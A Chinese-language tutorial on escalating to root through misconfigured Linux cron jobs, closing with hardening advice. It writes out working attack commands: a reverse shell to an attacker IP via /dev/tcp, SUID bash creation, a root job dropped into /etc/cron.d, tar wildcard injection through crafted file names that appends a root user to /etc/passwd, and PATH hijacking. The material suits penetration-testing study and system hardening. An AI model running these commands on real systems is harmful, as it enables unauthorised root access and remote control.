Linux系统提权之计划任务(Cron Jobs)提权

Linux系统提权之计划任务(Cron Jobs)提权

计划任务(Cron)是Linux系统用于定时执行任务的守护进程。系统管理员常用它来自动化系统维护或管理任务。配置不当的计划任务可以被攻击者利用来获取更高权限(通常是root权限)。


1. 查找计划任务

信息收集是第一步,需要找出系统上设置了哪些计划任务。

查看系统级计划任务:

bash 复制代码
cat /etc/crontab
ls -al /etc/cron.*  # 查看每小时、每天、每周、每月执行的任务目录
ls -la /var/spool/cron/crontabs/  # 查看各用户的cron任务(通常需要root权限)

查看当前用户的计划任务:

bash 复制代码
crontab -l

常用的查找命令:

bash 复制代码
# 查找所有cron任务文件(包括系统级和用户级)
find /etc/cron* -type f 2>/dev/null
find /var/spool/cron -type f 2>/dev/null

# 查找具有写权限的cron文件(重点目标!)
find /etc/cron* -writable -type f 2>/dev/null
find /var/spool/cron -writable -type f 2>/dev/null

2. 利用方式

计划任务的提权主要源于以下几种配置错误:

2.1 可写的Cron脚本(Writable Cron Script)

如果Cron任务本身执行的脚本 (例如 /etc/cron.hourly/backup.sh全局可写(权限为777或所有者是当前用户),那么你可以直接修改这个脚本,插入你的反向Shell或添加SUID Shell的命令。

利用步骤:

  1. 发现一个每分钟/每5分钟以root身份运行的可写脚本。
  2. 编辑该脚本,添加提权命令。
  3. 等待Cron执行该脚本,获取root权限。

示例:

假设发现 /etc/cron.hourly/automated-backup 可写,并且它以root身份运行。

bash 复制代码
# 1. 查看当前内容
cat /etc/cron.hourly/automated-backup

# 2. 追加一个反向Shell命令(假设攻击者IP是10.0.0.5,端口是4444)
echo 'bash -i >& /dev/tcp/10.0.0.5/4444 0>&1' >> /etc/cron.hourly/automated-backup

# 或者追加一个创建SUID Bash的命令
echo 'cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash' >> /etc/cron.hourly/automated-backup

# 3. 等待计划任务执行,然后使用 /tmp/rootbash -p 获取root shell。
2.2 可写的Cron目录(Writable Cron Directory)

如果Cron任务的目录 (如 /etc/cron.d/etc/cron.hourly)是可写的,即使脚本本身不可写,你也可以在其中创建自己的计划任务文件

利用步骤:

  1. 发现一个可写的Cron目录(例如 find /etc/cron* -writable -type d)。
  2. 在该目录下创建一个文件,内容为一行Cron任务配置。
  3. 等待任务执行。

示例:

假设 /etc/cron.d 目录全局可写。

bash 复制代码
# 1. 在 /etc/cron.d 目录下创建一个名为 `exploit` 的文件
cd /etc/cron.d
cat > exploit << EOF
# 计划任务语法: m h dom mon dow user command
* * * * * root chmod +xs /bin/bash
EOF

# 2. 等待一分钟后,/bin/bash 将被设置SUID位,使用 `/bin/bash -p` 即可获得root shell。
2.3 通配符注入(Wildcard Injection)

如果Cron任务中的命令使用了通配符(*,并且该目录可写,则可以通过创建特定文件名的文件来"欺骗"命令执行任意代码。

这是一种相对高级的技巧,常与 tarchmodrsync 等命令一起使用。

经典案例:利用Tar命令的--checkpoint参数

假设Root用户设置了一个Cron任务,每天压缩 /var/www/html 目录:

bash 复制代码
* * * * * root tar -zcf /var/backups/html.tgz /var/www/html/*

攻击者可以利用Tar的--checkpoint--checkpoint-action选项。

利用步骤:

  1. 在可写的目录(这里是 /var/www/html)下创建两个文件。
  2. 第一个文件用于触发--checkpoint-action执行命令。
  3. 第二个文件是通配符展开时排在--checkpoint选项后面的文件。
bash 复制代码
# 进入Cron任务运行的目录
cd /var/www/html

# 创建将执行的文件
echo 'echo "root2:xxqibyydkD4Lg:0:0:root:/root:/bin/bash" >> /etc/passwd' > shell.sh
chmod +x shell.sh

# 创建用于注入Tar参数的文件
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1

# 等待Cron任务执行。执行后,会向/etc/passwd文件添加一个root权限的用户(密码为"password")。
2.4 PATH变量劫持(PATH Manipulation)

如果Cron任务中执行的命令使用了相对路径 (如 backup.sh 而不是 /usr/bin/backup.sh),并且Cron的PATH变量包含一个可写的目录(如 /home/user),那么你可以创建一个同名的恶意程序放在那个目录下。

利用步骤:

  1. 查看Cron环境的PATH(通常在 /etc/crontab 顶部定义)。
  2. 找到一个在PATH中靠前且你可写的目录。
  3. 在该目录下创建一个与Cron任务中命令同名的恶意可执行文件。
  4. 等待Cron执行。

示例:

假设Cron的PATH是 PATH=/home/user:/bin:/sbin:/usr/bin:/usr/sbin,并且有一个任务每天运行 cleanup-log

bash 复制代码
# 1. 在 /home/user 目录下创建名为 `cleanup-log` 的恶意脚本
cd /home/user
cat > cleanup-log << EOF
#!/bin/bash
cp /bin/bash /tmp/rootbash && chmod +xs /tmp/rootbash
EOF

# 2. 赋予执行权限
chmod +x cleanup-log

# 3. 等待计划任务执行,然后使用 /tmp/rootbash -p 获取root shell。

3. 防护与加固建议

作为系统管理员,应避免以下配置错误,以防止通过Cron提权:

  1. 最小权限原则 :永远不要给Cron脚本或目录设置不必要的写权限(如777)。使用 chmod o-w <file> 移除其他用户的写权限。
  2. 使用绝对路径 :在Cron任务脚本中,对所有命令都使用绝对路径 (例如 /bin/tar 而不是 tar)。
  3. 谨慎使用通配符:在Cron命令中避免使用通配符,如果必须使用,请确保其运行目录不可被非特权用户写入。
  4. 安全的PATH变量 :在/etc/crontab中设置一个安全、精简的PATH,例如 PATH=/bin:/sbin:/usr/bin:/usr/sbin,并避免包含当前目录(.)或用户家目录。
  5. 定期审计 :定期使用 find /etc/cron* -perm -o+w 等命令检查系统上的Cron配置是否有错误的权限设置。
  6. 日志监控 :监控 /var/log/cron/var/log/syslog,留意是否有异常的任务执行。

通过理解和检查这些常见的Cron配置错误,白帽子可以更有效地发现和利用提权向量,同时也能帮助系统管理员更好地加固他们的系统。

相关推荐
会飞的小蛮猪6 小时前
Jenkins运维之路(自动获得分支tag&自动构建)
运维·经验分享·ci/cd·jenkins
czhc11400756636 小时前
Linux 96 shell:expect { }
linux·运维·服务器
2501_930124706 小时前
编辑shell脚本示例练习
linux·服务器·github
幂简集成6 小时前
基于 Gemini 的 CI/CD 自动化测评 API 集成实战教程
运维·ci/cd·自动化
焦思懿--19期--工职大6 小时前
VMWare和centOS的安装
linux·运维·centos
TG_yunshuguoji8 小时前
阿里云国际代理:阿里云的云数据库是什么?
服务器·数据库·安全·阿里云·云计算
那小子、真烦8 小时前
配置阿里云 YUM 源指南
linux·运维
管家婆客服中心9 小时前
管家婆分销ERP A/V系列导出提示加载数据过大的处理方式
linux·服务器·apache
Austindatabases9 小时前
沧海要,《SQL SERVER 运维之道》,清风笑,竟惹寂寥
运维